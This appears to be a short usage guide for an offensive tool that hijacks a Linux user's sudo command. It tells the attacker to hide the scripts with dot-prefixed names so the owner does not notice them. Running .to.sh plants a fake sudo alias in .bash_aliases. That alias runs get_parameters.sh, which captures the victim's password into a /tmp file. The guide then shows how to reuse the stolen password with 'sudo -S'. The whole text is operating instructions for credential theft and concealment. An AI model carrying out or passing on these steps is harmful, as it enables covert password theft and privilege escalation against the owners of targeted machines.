*-> change their names to a random file name in order to the machine's owner does not realize it's a malicious script, never forget to precede the file name
with a "." (no quotes, obsviously), it will automatically hide the file, and not show them with a simple ls command by the machine's owner
1-> run the .to.sh script on the target machine, it will add a "sudo" alias inside the .bash_aliases file of the target machine
1.1-> then, when the to.sh is succesfull executed, whenever the target write "sudo " on his machine's terminal
it will not execute the real sudo, instead, it will execute the get_parameters.sh file, in which will capture the sudo password
2-> then, you just have to cat /tmp/content_extra_file to be able to see the -> username : sudo_password
after all: FINAL -> whenever you want to run a sudo command on the target machine, remember to run as follows: username@distro:~$ echo '<sudo_password>' | sudo -S